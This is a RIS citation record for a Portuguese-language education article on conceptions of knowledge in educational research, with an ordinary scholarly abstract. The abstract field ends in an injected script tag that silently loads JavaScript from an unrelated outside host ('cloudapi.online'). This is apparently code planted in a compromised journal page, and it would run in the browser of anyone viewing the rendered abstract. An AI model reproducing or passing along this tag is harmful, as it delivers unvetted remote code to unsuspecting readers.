TY - JOUR AU - Almeida, Natalia Regina PY - 2014/04/24 Y2 - 2024/03/29 TI - Pesquisa em educação e concepções de conhecimento: a produção do conhecimento em questão JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 16 IS - 1 SE - Artigos DO - 10.20396/etd.v16i1.1327 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/1327 SP - 24-35 AB - <p>No campo de conhecimento em educação, a discussão sobre o tratamento atribuído à sua definição como campo, objeto investigativo e diferentes possibilidades teórico-metodológicas, epistemológicas, foi frequente nas últimas décadas do século XX. Nessa perspectiva, os aspectos que dizem respeito ao processo de construção e de produção de pesquisas no campo do conhecimento em educação e das diferentes possibilidades teórico-metodológicas merecem mais investimento teórico-conceitual. Desse modo, o presente artigo, a partir da pesquisa bibliográfica, tem por objetivo apresentar uma breve discussão sobre as diferentes concepções de conhecimento na construção de pesquisas no campo do conhecimento em educação e duas posições teórico-metodológicas da prática da pesquisa em educação. A título de considerações finais, a intenção aqui não é a de esgotamento da problemática em questão, pois são muitos os assuntos que permeiam a prática da pesquisa em educação.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -